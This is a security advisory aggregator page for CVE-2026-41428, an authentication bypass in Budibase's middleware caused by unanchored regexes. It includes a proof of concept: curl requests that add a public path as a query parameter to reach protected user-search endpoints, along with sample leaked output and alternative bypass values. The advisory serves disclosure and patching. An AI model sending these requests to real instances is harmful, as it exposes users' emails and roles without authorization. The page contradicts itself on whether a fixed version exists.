CVE-2026-41428
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.1
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
- Record
CVE-2026-41428- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
EUVDEUVD-2026-25618
9.1
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
- Record
EUVD-2026-25618- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8783-3wgf-jggf
9.1
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Summary
The authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL.
Details
Step 1 — Public endpoint patterns compiled without anchors
packages/backend-core/src/middleware/matchers.ts, line 26:
return { regex: new RegExp(route), method, route }
No ^ prefix, no $ suffix. The regex matches anywhere in the test string.
Step 2 — Regex tested against full URL including query string
packages/backend-core/src/middleware/matchers.ts, line 32:
const urlMatch = regex.test(ctx.request.url)
Koa's ctx.request.url returns the full URL including query string (e.g., /api/global/users/search?x=/api/system/status). The regex /api/system/status matches in the query string.
Step 3 — publicEndpoint flag set to true
packages/backend-core/src/middleware/authenticated.ts, lines 123-125:
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
Step 4 — Worker's global auth check skipped
packages/worker/src/api/index.ts, lines 160-162:
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
When ctx.publicEndpoint is true, the 403 check at line 165-168 is never executed.
Step 5 — Routes without per-route auth middleware are exposed
loggedInRoutes in packages/worker/src/api/routes/endpointGroups/standard.ts line 23:
export const loggedInRoutes = endpointGroupList.group() // no middleware
Endpoints on loggedInRoutes have NO secondary auth check. The global check at index.ts:160-169 was their only protection.
Affected endpoints (no per-route auth — fully exposed):
POST /api/global/users/search— search all users (emails, names, roles)GET /api/global/self— get current user infoGET /api/global/users/accountholder— account holder lookupGET /api/global/template/definitions— template definitionsPOST /api/global/license/refresh— refresh licensePOST /api/global/event/publish— publish events
Not affected (have secondary per-route auth that blocks undefined user):
GET /api/global/users— onbuilderOrAdminRouteswhich checksisAdmin(ctx.user)→ returns false for undefined → throws 403DELETE /api/global/users/:id— onadminRoutes→ same secondary check blocks it
PoC
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403
# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
Without auth → 403. With ?x=/api/system/status → returns all users.
Any public endpoint pattern works as the bypass value:
?x=/api/system/status?x=/api/system/environment?x=/api/global/configs/public?x=/api/global/auth/default
Impact
An unauthenticated attacker can:
- Enumerate all users — emails, names, roles, admin status, builder status via
/api/global/users/search - Discover account holder — identify the instance owner via
/api/global/users/accountholder - Trigger license refresh — potentially…
- Record
GHSA-8783-3wgf-jggf- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
NVD
9.1
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
- Record
CVE-2026-41428- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
OSV
9.1
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
- Record
CVE-2026-41428- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
OSVGHSA-8783-3wgf-jggf
9.1
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
Summary
The authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL.
Details
Step 1 — Public endpoint patterns compiled without anchors
packages/backend-core/src/middleware/matchers.ts, line 26:
return { regex: new RegExp(route), method, route }
No ^ prefix, no $ suffix. The regex matches anywhere in the test string.
Step 2 — Regex tested against full URL including query string
packages/backend-core/src/middleware/matchers.ts, line 32:
const urlMatch = regex.test(ctx.request.url)
Koa's ctx.request.url returns the full URL including query string (e.g., /api/global/users/search?x=/api/system/status). The regex /api/system/status matches in the query string.
Step 3 — publicEndpoint flag set to true
packages/backend-core/src/middleware/authenticated.ts, lines 123-125:
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
Step 4 — Worker's global auth check skipped
packages/worker/src/api/index.ts, lines 160-162:
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
When ctx.publicEndpoint is true, the 403 check at line 165-168 is never executed.
Step 5 — Routes without per-route auth middleware are exposed
loggedInRoutes in packages/worker/src/api/routes/endpointGroups/standard.ts line 23:
export const loggedInRoutes = endpointGroupList.group() // no middleware
Endpoints on loggedInRoutes have NO secondary auth check. The global check at index.ts:160-169 was their only protection.
Affected endpoints (no per-route auth — fully exposed):
POST /api/global/users/search— search all users (emails, names, roles)GET /api/global/self— get current user infoGET /api/global/users/accountholder— account holder lookupGET /api/global/template/definitions— template definitionsPOST /api/global/license/refresh— refresh licensePOST /api/global/event/publish— publish events
Not affected (have secondary per-route auth that blocks undefined user):
GET /api/global/users— onbuilderOrAdminRouteswhich checksisAdmin(ctx.user)→ returns false for undefined → throws 403DELETE /api/global/users/:id— onadminRoutes→ same secondary check blocks it
PoC
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403
# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
Without auth → 403. With ?x=/api/system/status → returns all users.
Any public endpoint pattern works as the bypass value:
?x=/api/system/status?x=/api/system/environment?x=/api/global/configs/public?x=/api/global/auth/default
Impact
An unauthenticated attacker can:
- Enumerate all users — emails, names, roles, admin status, builder status via
/api/global/users/search - Discover account holder — identify the instance owner via
/api/global/users/accountholder - Trigger license refresh — potentially…
- Record
GHSA-8783-3wgf-jggf- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@budibase/backend-corenpm |
through 3.35.3 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41428 is a critical vulnerability (CVSS 9.1) in Budibase, published April 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 38th percentile. No source names a fixed version.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.